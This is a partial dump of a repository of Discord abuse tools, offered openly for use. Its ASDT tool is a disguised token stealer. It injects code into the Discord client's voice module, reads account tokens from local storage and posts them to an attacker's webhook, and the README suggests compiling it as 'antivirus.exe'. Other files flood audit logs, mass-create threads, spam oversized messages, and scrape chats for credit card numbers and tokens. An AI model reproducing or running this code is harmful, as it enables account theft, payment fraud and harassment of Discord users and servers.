├── 247AcO ├── README.md └── index.js ├── A fast Discord server emojis downloader.txt ├── ADS ├── README.md ├── index.js └── plugins │ ├── american_express_cc.js │ ├── discord_nitro.js │ ├── discord_server_invite.js │ ├── discord_token.js │ ├── discover_cc.js │ └── master_card_cc.js ├── ASC ├── README.md ├── dictionary_test.txt └── index.js ├── ASDT ├── README.md └── index.js ├── Audit Log Flooder ├── README.md └── index.js ├── Bypassing Discord Chat Limit ├── README.md └── index.js ├── CMT ├── README.md └── index.js ├── Channel Messages Saver ├── README.md └── index.js ├── Corrupter ├── README.md └── index.js ├── DMWD ├── README.md ├── example_webhooks.txt └── index.js ├── DNGCAAC ├── README.md └── index.js ├── DSIG ├── README.md └── index.js ├── DT G&C ├── README.md └── index.js ├── DTGBG ├── README.md ├── dist │ └── deleteme.txt ├── index.js └── requirements │ └── index.js ├── Disabler ├── README.md ├── index.js └── package.json ├── Discord Account Bruteforce ├── ProXie │ ├── example.js │ ├── index.js │ └── proxies.txt ├── README.md ├── dictionary.txt └── index.js ├── Discord Group Leaver ├── README.md ├── index.js └── package.json ├── Discord tokens checker ├── README.md ├── ex_discord_tokens.txt └── index.js ├── Dizzy Message ├── README.md └── index.js ├── Fastest way to get your account token.txt ├── How to enable edit mode.txt ├── How to make multiple accounts in discord with the same email.txt ├── Invisible Mention ├── README.md └── index.js ├── Invite code server info ├── README.md └── index.js ├── Keylogger ├── README.md └── index.js ├── LICENSE ├── MAMIDS ├── README.md └── index.js ├── MalCBAAV ├── README.md ├── assets │ └── not_infected.txt ├── chopchop.js ├── dist │ └── deletme.txt ├── index.js ├── input.txt └── package.json ├── MultiNewLine Channel Spammer ├── README.md └── index.js ├── Net Lagger ├── README.md └── index.js ├── Nitro Sniper ├── README.md └── index.js ├── NuclearNuke ├── README.md └── index.js ├── README.md ├── SCW ├── README.md └── index.js ├── Simple Hella Fast Discord Nitro Gen & Checker ├── README.md └── index.js ├── Token Protector ├── README.md └── index.js ├── Token Stealer ├── README.md └── index.js ├── Token sniper ├── README.md └── index.js ├── Token stealer spider ├── README.md └── index.js ├── UII ├── README.md ├── index.js ├── package-lock.json └── package.json ├── Using any emoji of any server without nitro(Fast).txt ├── Using emoji on other servers without nitro.txt ├── Webhook Spammer ├── README.md └── index.js └── ways to nuke servers ├── The buddha. ├── The genius.txt ├── the backstabber.txt ├── the risky.txt └── the smarty.txt /247AcO/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord 247AcO 3 | A really simple code to run your Discord account 24/7 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i puppeteer 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | ## Setup 15 | 16 | 1. Open index.js 17 | 2. Find the variable Email & Password/Make an env with the variable email & password. 18 | 3. Put your email in the email variable/env & put your password in the password variable/env. 19 | 4. Now, to run it 24/7 you can use REPL. For more info on how to use Puppeteer in REPL please check [this](https://replit.com/talk/share/This-time-we-are-getting-puppeteer/28380). 20 | 5. After you runned it. Monitor the console because It will check If any captchas or new login is detected. If It says "Login successfully" then It means you can now leave it alone. 21 | 22 | ## License 23 | MIT © I2rys 24 | -------------------------------------------------------------------------------- /247AcO/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Puppeteer = require("puppeteer") 3 | 4 | //Variables 5 | const Email = "" || process.env.email 6 | const Password = "" || process.env.password 7 | 8 | //Functions 9 | async function Main(){ 10 | const browser = await Puppeteer.launch({ headless: false, args: ["--no-sandbox", "--disable-setuid-sandbox"] }) 11 | const page = await browser.newPage() 12 | 13 | await page.setUserAgent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36") 14 | await page.goto("https://discord.com/login", { waitUntil: "networkidle0" }) 15 | await page.type("div.inputWrapper-31_8H8.inputWrapper-3aw2Sf > input", Email) 16 | await page.type("div.block-egJnc0.marginTop20-3TxNs6 > div:nth-of-type(2) > div > input", Password) 17 | await Promise.all([ 18 | await page.click("div.block-egJnc0.marginTop20-3TxNs6 > button.marginBottom8-AtZOdT.button-3k0cO7.button-38aScr.lookFilled-1Gx00P.colorBrand-3pXr91.sizeLarge-1vSeWK.fullWidth-1orjjo.grow-q77ONN"), 19 | await page.waitForNavigation({ waitUntil: "networkidle0" }) 20 | ]) 21 | 22 | const page_content = await page.content() 23 | 24 | console.log("Checking for any new login detected(1).") 25 | if(page_content.indexOf("New login location detected,") != -1){ 26 | console.log("New location login detected. Please check your email and verify the location then rerun the program.") 27 | process.exit() 28 | } 29 | 30 | console.log("Checking for any captchas.") 31 | if(page_content.indexOf("https://discord.com/assets/0f4d1ff76624bb45a3fee4189279ee92.svg") != -1){ 32 | console.log("Captcha detected, please solve it and don't exit the program.") 33 | } 34 | 35 | console.log("Checking for any new login detected(2).") 36 | if(page_content.indexOf("New login location detected,") != -1){ 37 | console.log("New location login detected. Please check your email and verify the location then rerun the program.") 38 | process.exit() 39 | } 40 | 41 | await page.waitForSelector("div.tabBar-ZmDY9v.topPill-30KHOu > div:nth-of-type(5) > span", { timeout: 0 }) 42 | console.log("Logged in successfully!") 43 | console.log("If the hoster is running 24/7 then just leave it and your account will be online 24/7.") 44 | } 45 | 46 | //Main 47 | Main() 48 | -------------------------------------------------------------------------------- /A fast Discord server emojis downloader.txt: -------------------------------------------------------------------------------- 1 | https://github.com/I2rys/DSED 2 | -------------------------------------------------------------------------------- /ADS/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord ADS 3 | AIO Discord sniper that you can use also you can create plugins easily for ADS. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i discord.js-selfbot-v11 && npm i request 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | - discord_token - Your discord token. 15 | 16 | ## License 17 | MIT © I2rys 18 | -------------------------------------------------------------------------------- /ADS/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = require("discord.js-selfbot-v11") 3 | const Fs = require("fs") 4 | 5 | //Variables 6 | const Self_Args = process.argv.slice(2) 7 | 8 | const Plugins = Fs.readdirSync("./plugins", "utf8") 9 | 10 | const User = new Discord.Client() 11 | 12 | //Main 13 | if(!Self_Args.length){ 14 | console.log(`node index.js 15 | Example: node index.js notsofast_yourdiscordtokenhere`) 16 | process.exit() 17 | } 18 | 19 | if(!Self_Args[0]){ 20 | console.log("Invalid discord_token.") 21 | process.exit() 22 | } 23 | 24 | User.on("ready", ()=>{ 25 | console.log(`AIO Discord sniper is running.`) 26 | }) 27 | 28 | User.on("message", (message)=>{ 29 | for( i in Plugins ){ 30 | require(`./plugins/${Plugins[i]}`).self(message, Self_Args[0]) 31 | } 32 | }) 33 | 34 | User.login(Self_Args[0]) 35 | -------------------------------------------------------------------------------- /ADS/plugins/american_express_cc.js: -------------------------------------------------------------------------------- 1 | //Main 2 | function self(message){ 3 | const is_american_express_cc = message.content.match(/^3[47]\d{13,14}$/gm) 4 | 5 | if(is_american_express_cc){ 6 | console.log(`American express cc found: ${is_american_express_cc.toString().replace(",", ", ")}`) 7 | } 8 | } 9 | 10 | //Exporter 11 | module.exports = { 12 | self: self 13 | } 14 | -------------------------------------------------------------------------------- /ADS/plugins/discord_nitro.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | 4 | //Main 5 | function self(message, token){ 6 | if(message.content.indexOf("discord.gift") != -1 || message.content.indexOf(".com/gift") != -1){ 7 | try{ 8 | const code = message.content.split("/")[message.content.split("/").length-1] 9 | 10 | console.log(`Discord nitro code found ${code}`) 11 | 12 | Request.post(`https://discordapp.com/api/v6/entitlements/gift-codes/${code}/redeem`, { 13 | headers: { 14 | "Authorization": token 15 | } 16 | }, function(err, res, body){ 17 | if(err){ 18 | console.log(`Unable to radeem nitro code ${code}`) 19 | return 20 | } 21 | 22 | if(body.indexOf("radeemed already") != -1){ 23 | console.log(`Nitro code ${code} is already radeemed.`) 24 | }else if(body.indexOf("nitro") != -1){ 25 | console.log(`Nitro code ${code} claimed.`) 26 | }else{ 27 | console.log(`Unknown nitro code ${code}.`) 28 | } 29 | }) 30 | }catch{} 31 | } 32 | } 33 | 34 | //Exporter 35 | module.exports = { 36 | self: self 37 | } 38 | -------------------------------------------------------------------------------- /ADS/plugins/discord_server_invite.js: -------------------------------------------------------------------------------- 1 | //Main 2 | function self(message){ 3 | var is_server_invite = message.content.match(/discord.com.[\w-]{8,}|discord.gg.[\w-]{8,}/g) 4 | 5 | if(is_server_invite){ 6 | console.log(`Discord server invite/invites found: ${is_server_invite.toString().replace(",", ", ")}`) 7 | } 8 | } 9 | 10 | //Exporter 11 | module.exports = { 12 | self: self 13 | } 14 | -------------------------------------------------------------------------------- /ADS/plugins/discord_token.js: -------------------------------------------------------------------------------- 1 | //Main 2 | function self(message){ 3 | const is_discord_token = message.content.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g) 4 | 5 | if(is_discord_token){ 6 | console.log(`Discord token/tokens found: ${is_discord_token.toString().replace(",", ", ")}`) 7 | } 8 | } 9 | 10 | //Exporter 11 | module.exports = { 12 | self: self 13 | } 14 | -------------------------------------------------------------------------------- /ADS/plugins/discover_cc.js: -------------------------------------------------------------------------------- 1 | //Main 2 | function self(message){ 3 | const is_discover_cc = message.content.match(/^6(?:011|5\d\d)(| |-)(?:\d{4}\1){2}\d{4}$/gm) 4 | 5 | if(is_discover_cc){ 6 | console.log(`Discover cc found: ${is_discover_cc.toString().replace(",", ", ")}`) 7 | } 8 | } 9 | 10 | //Exporter 11 | module.exports = { 12 | self: self 13 | } 14 | -------------------------------------------------------------------------------- /ADS/plugins/master_card_cc.js: -------------------------------------------------------------------------------- 1 | //Main 2 | function self(message){ 3 | const is_mastercard_cc = message.content.match(/^5[1-5]\d{2}(| |-)(?:\d{4}\1){2}\d{4}$/gm) 4 | 5 | if(is_mastercard_cc){ 6 | console.log(`Mastercard cc found: ${is_mastercard_cc.toString().replace(",", ", ")}`) 7 | } 8 | } 9 | 10 | //Exporter 11 | module.exports = { 12 | self: self 13 | } 14 | -------------------------------------------------------------------------------- /ASC/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # ODiscord ASC 4 | Automatic status message changer. 5 | 6 | ## Installation 7 | NPM Packages: 8 | 9 | npm i discord.js-selfbot-v11 && npm i request && npm i delay 10 | 11 | ## Usage 12 | 13 | node index.js 14 | 15 | - discord_token - Your discord token. 16 | - dictionary - Your messages to change in your Discord account status. 17 | - changing_delay - The status changing delay in seconds. 18 | 19 | ## License 20 | MIT © I2rys 21 | -------------------------------------------------------------------------------- /ASC/dictionary_test.txt: -------------------------------------------------------------------------------- 1 | Hello mommy 2 | Hi 3 | What the flip is this? 4 | I don't know bro 5 | Where am I? 6 | ..... 7 | I don't know 8 | Hmmmm 9 | Nevermind 10 | -------------------------------------------------------------------------------- /ASC/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Discord = require("discord.js-selfbot-v11") 3 | const Request = require("request") 4 | const Delay = require("delay") 5 | const Fs = require("fs") 6 | 7 | //Variables 8 | const Self_Args = process.argv.slice(2) 9 | 10 | const User = new Discord.Client() 11 | 12 | //Main 13 | if(!Self_Args.length){ 14 | console.log(`node index.js 15 | Example: node index.js yourdiscordtoken dictionary_test.txt 5`) 16 | process.exit() 17 | } 18 | 19 | if(!Self_Args[0]){ 20 | console.log("Invalid discord_token.") 21 | process.exit() 22 | } 23 | 24 | if(!Self_Args[1]){ 25 | console.log("Invalid dictionary.") 26 | process.exit() 27 | } 28 | if(!Self_Args[2]){ 29 | console.log("Invalid changing_delay.") 30 | process.exit() 31 | } 32 | 33 | if(isNaN(Self_Args[2])){ 34 | console.log("Invalid changing_delay, changing_delay is not an Int.") 35 | process.exit() 36 | } 37 | 38 | if(Self_Args[2] < 5){ 39 | console.log("Invalid changing_delay, minimum is 5.") 40 | process.exit() 41 | } 42 | 43 | const Dictionary = Fs.readFileSync(Self_Args[1], "utf8").split("\n") 44 | 45 | if(!Dictionary){ 46 | console.log("Invalid dictionary.") 47 | process.exit() 48 | } 49 | 50 | var self_index = 0 51 | 52 | User.on("ready", function(){ 53 | console.log("Status message changer is running.") 54 | 55 | Looper() 56 | async function Looper(){ 57 | if(self_index == Dictionary.length){ 58 | self_index = 0 59 | } 60 | 61 | await Delay(Self_Args[2] * 1000) 62 | 63 | Request.patch("https://discord.com/api/v9/users/@me/settings", { 64 | headers: { 65 | "Content-Type": "application/json", 66 | "Authorization": Self_Args[0] 67 | }, 68 | "body": JSON.stringify({ "custom_status": { "text" : Dictionary[self_index] } }) 69 | }, function(err, res, body){ 70 | if(err){ 71 | console.log(`Unable to change to ${Dictionary[self_index-1]}`) 72 | self_index += 1 73 | Looper() 74 | return 75 | } 76 | 77 | if(res.statusCode == 200 || body.indexOf('"locale":') != -1){ 78 | console.log(`Changed to ${Dictionary[self_index-1]}`) 79 | }else{ 80 | console.log(`Unable to change to ${Dictionary[self_index-1]}`) 81 | } 82 | }) 83 | 84 | self_index += 1 85 | Looper() 86 | } 87 | }) 88 | 89 | User.login(Self_Args[0]).catch(()=>{ 90 | console.log("Invalid discord_token.") 91 | process.exit() 92 | }) 93 | -------------------------------------------------------------------------------- /ASDT/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord ASDT 3 | 100% Undetectable and the Best static Discord token grabber. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i os 9 | 10 | ## Build 11 | 12 | 1. Open index.js and find webhook_link. 13 | 2. Change it with your Webhook link. 14 | 3. Compile index.js to exe file using pkg. 15 | 4. Your done. 16 | 17 | Install https://www.npmjs.com/package/pkg 18 | 19 | pkg index.js -o antivirus.exe(Can be anything) 20 | For more info of pkg click [me](https://www.npmjs.com/package/pkg). 21 | 22 | ## License 23 | MIT © I2rys 24 | -------------------------------------------------------------------------------- /ASDT/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Fs = require("fs") 3 | const Os = require("os") 4 | 5 | //Variables 6 | var malicious_code = `\nconst os = require("os") 7 | 8 | setInterval(function(){ 9 | fs.readdir("C:/Users/" + os.userInfo().username + "/AppData/Roaming/discord/Local Storage/leveldb", "utf8", function(err, files){ 10 | if(err){ 11 | Done() 12 | return 13 | } 14 | 15 | files.forEach(file =>{ 16 | if(file.indexOf("log") != -1){ 17 | const log_data = fs.readFileSync("C:/Users/" + os.userInfo().username + "/AppData/Roaming/discord/Local Storage/leveldb/" + file, "utf8") 18 | const tokens = log_data.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g) 19 | var result_tokens = "" 20 | 21 | if(!log_data.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g)){ 22 | console.log("No discord tokens found.") 23 | return 24 | } 25 | 26 | for( i = 0; i <= tokens.length-1; i++ ){ 27 | if(result_tokens.indexOf(tokens[i]) == -1){ 28 | if(result_tokens.length == 0){ 29 | result_tokens = tokens[i] 30 | }else{ 31 | result_tokens += ", " + tokens[i] 32 | } 33 | } 34 | } 35 | 36 | fetch("webhook_link", { 37 | method: "POST", 38 | headers: { 39 | "Content-Type": "application/json" 40 | }, 41 | body: JSON.stringify({ content: result_tokens }) 42 | }) 43 | return 44 | } 45 | }) 46 | }) 47 | }, 10000)` 48 | 49 | //Main 50 | if(Fs.existsSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`)){ 51 | const Directories = source => Fs.readdirSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 52 | 53 | Directories().forEach(directory =>{ 54 | const Directories2 = source => Fs.readdirSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 55 | 56 | if(directory.indexOf("app") != -1){ 57 | Directories2().forEach(directory2 =>{ 58 | if(directory2.indexOf("discord_voice") != -1){ 59 | Fs.readFile(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, "utf8", function(err, data){ 60 | if(err){ 61 | process.exit() 62 | } 63 | 64 | if(data.indexOf("fetch(") != -1){ 65 | process.exit() 66 | } 67 | 68 | data += `\n${malicious_code}` 69 | 70 | Fs.writeFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, data, "utf8") 71 | }) 72 | } 73 | }) 74 | } 75 | }) 76 | } 77 | -------------------------------------------------------------------------------- /Audit Log Flooder/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord Audit Log Flooder 2 | A unique way to flood any Discord server Audit Log. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i request && npm i delay 8 | 9 | ## Usage 10 | 11 | node index.js 12 | 13 | - guild_id - The target guild/server id. 14 | - discord_token - Your discord token. 15 | - amount - The amount to spam. 16 | 17 | ## License 18 | MIT © I2rys 19 | -------------------------------------------------------------------------------- /Audit Log Flooder/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | const Delay = require("delay") 4 | 5 | //Variables 6 | const Self_Args = process.argv.slice(2) 7 | 8 | //Main 9 | if(!Self_Args.length){ 10 | console.log("node index.js ") 11 | process.exit() 12 | } 13 | 14 | if(!Self_Args[0]){ 15 | console.log("Invalid channel_id.") 16 | process.exit() 17 | } 18 | 19 | if(isNaN(Self_Args[0])){ 20 | console.log("channel_id is not an Int.") 21 | process.exit() 22 | } 23 | 24 | if(!Self_Args[1]){ 25 | console.log("Invalid discord_token.") 26 | process.exit() 27 | } 28 | 29 | if(!Self_Args[2]){ 30 | console.log("Invalid amount.") 31 | process.exit() 32 | } 33 | 34 | if(isNaN(Self_Args[2])){ 35 | console.log("amount is not an Int.") 36 | process.exit() 37 | } 38 | 39 | var self_index = 1 40 | 41 | async function Spam(){ 42 | await Delay(2000) 43 | 44 | Request.post(`https://discord.com/api/v9/channels/${Self_Args[0]}/invites`, { 45 | headers: { 46 | "Content-Type": "application/json", 47 | "Authorization": Self_Args[1] 48 | }, 49 | body: JSON.stringify({ "max_age": Math.floor(Math.random() * 604800), "max_uses": 0, "temporary": false }) 50 | }, function(err, res, body){ 51 | if(body.indexOf("Unknown Channel") !== -1){ 52 | console.log("Invalid channel_id.") 53 | process.exit 54 | } 55 | 56 | if(body.indexOf("You are being rate limited.") !== -1){ 57 | Spam() 58 | return 59 | } 60 | 61 | console.log(`Done! Index: ${self_index}`) 62 | 63 | self_index += 1 64 | }) 65 | } 66 | 67 | for( let i = 0; i <= Self_Args[2]-1; i++ ){ 68 | Spam() 69 | } 70 | -------------------------------------------------------------------------------- /Bypassing Discord Chat Limit/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord Bypassing Discord Chat Limit 3 | A really simple glitch/bug or whatever I found to bypass Discord Chat Limit. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i request 9 | 10 | ## Setup 11 | 12 | 1. Open index.js and find "YourDiscordTokenHere", and replace it with your discord token. 13 | 2. Also find Target_Channel_ID and replace it with the target channel id. 14 | 15 | ## Usage 16 | 17 | node index.js 18 | 19 | ## License 20 | MIT © I2rys 21 | -------------------------------------------------------------------------------- /Bypassing Discord Chat Limit/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | 4 | //Variables 5 | var Payload = `LLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\nLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLrLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\nLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLllllllllllllllllllllllll` 6 | 7 | //Main 8 | Request.post("https://discordapp.com/api/v6/channels/Target_Channel_ID/messages", { 9 | headers: { 10 | "Content-Type": "application/json", 11 | "Authorization": "YourDiscordTokenHere" 12 | }, 13 | body: JSON.stringify({ "content": Payload }) 14 | }, function(err, res, body){ 15 | console.log(err) 16 | console.log(body) 17 | }) 18 | -------------------------------------------------------------------------------- /CMT/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord CMT 3 | Discord server channel mass threader. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i request && npm i delay 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | + discord_token - Your Discord token. 16 | + channel_id - The id of the target channel. 17 | + max - The max in making a thread. 18 | + thread_name - The thread name. 19 | 20 | ## License 21 | MIT © I2rys 22 | -------------------------------------------------------------------------------- /CMT/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | const Delay = require("delay") 4 | 5 | //Variables 6 | const Self_Args = process.argv.slice(2) 7 | 8 | //Main 9 | if(!Self_Args.length){ 10 | console.log("node index.js ") 11 | process.exit() 12 | } 13 | 14 | if(!Self_Args[0]){ 15 | console.log("Invalid discord_token.") 16 | process.exit() 17 | } 18 | 19 | if(!Self_Args[1]){ 20 | console.log("Invalid channel_id.") 21 | process.exit() 22 | } 23 | 24 | if(!Self_Args[2]){ 25 | console.log("Invalid max.") 26 | process.exit() 27 | } 28 | 29 | if(!Self_Args[3]){ 30 | console.log("Invalid thread_name.") 31 | process.exit() 32 | } 33 | 34 | if(isNaN(Self_Args[2])){ 35 | console.log("Max is not a valid Int.") 36 | process.exit() 37 | } 38 | 39 | var in_index = 0 40 | 41 | Make() 42 | function Make(){ 43 | if(in_index == Self_Args[2]){ 44 | console.log("Finished making threads.") 45 | process.exit() 46 | } 47 | 48 | Request.post(`https://discord.com/api/v9/channels/${Self_Args[1]}/threads`, { 49 | headers: { 50 | "Content-Type": "application/json", 51 | "Authorization": Self_Args[0] 52 | }, 53 | body: JSON.stringify({"name": Self_Args.slice(3).join(" "),"type":11,"auto_archive_duration":1440,"location":"Thread Browser Toolbar"}) 54 | }, async function(err, res, body){ 55 | if(body.indexOf('"archived": false,') != -1){ 56 | console.log("Created a thread.") 57 | in_index += 1 58 | Make() 59 | return 60 | }else{ 61 | console.log("Unable to create a thread, retrying...") 62 | 63 | await Delay(1000) 64 | Make() 65 | return 66 | } 67 | }) 68 | } 69 | -------------------------------------------------------------------------------- /Channel Messages Saver/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord Channel Messages Saver 3 | Just a channel messages saver. 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i request && npm i delay 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | - channel_id - The channel id to save messages. 15 | - amount - The amount of messages to save(Might not be accurate because I suck at solving problems, but I tried my best :) ). 16 | - output - The ouput path of the results. 17 | - discord_token - Your discord token. 18 | 19 | ## License 20 | MIT © I2rys 21 | -------------------------------------------------------------------------------- /Channel Messages Saver/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | const Delay = require("delay") 4 | const Fs = require("fs") 5 | 6 | //Variables 7 | const Self_Args = process.argv.slice(2) 8 | 9 | var results; 10 | 11 | //Main 12 | if(!Self_Args.length){ 13 | console.log("node index.js ") 14 | process.exit() 15 | } 16 | 17 | if(!Self_Args[0]){ 18 | console.log("Invalid channel_id.") 19 | process.exit() 20 | } 21 | 22 | if(isNaN(Self_Args[0])){ 23 | console.log("channel_id is not an Int.") 24 | process.exit() 25 | } 26 | 27 | if(!Self_Args[1]){ 28 | console.log("Invalid amount.") 29 | process.exit() 30 | } 31 | 32 | if(isNaN(Self_Args[1])){ 33 | console.log("amount is not an Int.") 34 | process.exit() 35 | } 36 | 37 | if(!Self_Args[2]){ 38 | console.log("Invalid output.") 39 | process.exit() 40 | } 41 | 42 | if(!Self_Args[3]){ 43 | console.log("Invalid discord_token.") 44 | process.exit() 45 | } 46 | 47 | Main() 48 | function Main(){ 49 | var max = 0 50 | var last_message_id = null 51 | var old_amount = 0 52 | var new_amount = parseInt(Self_Args[1]) 53 | var before_message_id = 0 54 | 55 | console.log("Fetching messages has started, this might take a while depends.") 56 | Is_In_Limit() 57 | async function Is_In_Limit(reput){ 58 | await Delay(10) 59 | 60 | if(new_amount == 0 && old_amount == 0){ 61 | console.log("Saving...") 62 | Fs.writeFileSync(Self_Args[2], results, "utf8") 63 | console.log("Done.") 64 | process.exit() 65 | } 66 | 67 | if(reput){ 68 | new_amount = old_amount 69 | old_amount = 0 70 | Is_In_Limit() 71 | return 72 | } 73 | 74 | if(new_amount > 100){ 75 | old_amount += Math.floor(new_amount/5) 76 | new_amount -= Math.floor(new_amount/5) 77 | 78 | Is_In_Limit() 79 | return 80 | } 81 | 82 | Messages() 83 | } 84 | 85 | function Messages(){ 86 | if(before_message_id == 0){ 87 | Request(`https://discord.com/api/v9/channels/${Self_Args[0]}/messages?limit=${new_amount}`, { 88 | headers: { 89 | "Authorization": Self_Args[3] 90 | } 91 | }, function(err, res, body){ 92 | if(err){ 93 | console.log(er) 94 | process.exit() 95 | } 96 | 97 | if(body == "[]"){ 98 | console.log("No messages found in the channel.") 99 | process.exit() 100 | }else{ 101 | body = JSON.parse(body) 102 | 103 | for( i in body ){ 104 | if(i == body.length-1){ 105 | before_message_id = body[i].id 106 | } 107 | 108 | try{ 109 | if(!results.length){ 110 | results = `[${body[i].author.username}#${body[i].author.discriminator}][${body[i].author.id}][${body[i].timestamp}] ${body[i].content}` 111 | }else{ 112 | results += `\n[${body[i].author.username}#${body[i].author.discriminator}][${body[i].author.id}][${body[i].timestamp}] ${body[i].content}` 113 | } 114 | }catch{} 115 | 116 | if(i == body.length){ 117 | before_message_id = body[i].id 118 | } 119 | } 120 | 121 | if(new_amount != 0){ 122 | Is_In_Limit(true) 123 | return 124 | } 125 | } 126 | }) 127 | }else{ 128 | Request(`https://discord.com/api/v9/channels/${Self_Args[0]}/messages?before=${before_message_id}&limit=${new_amount}`, { 129 | headers: { 130 | "Authorization": Self_Args[3] 131 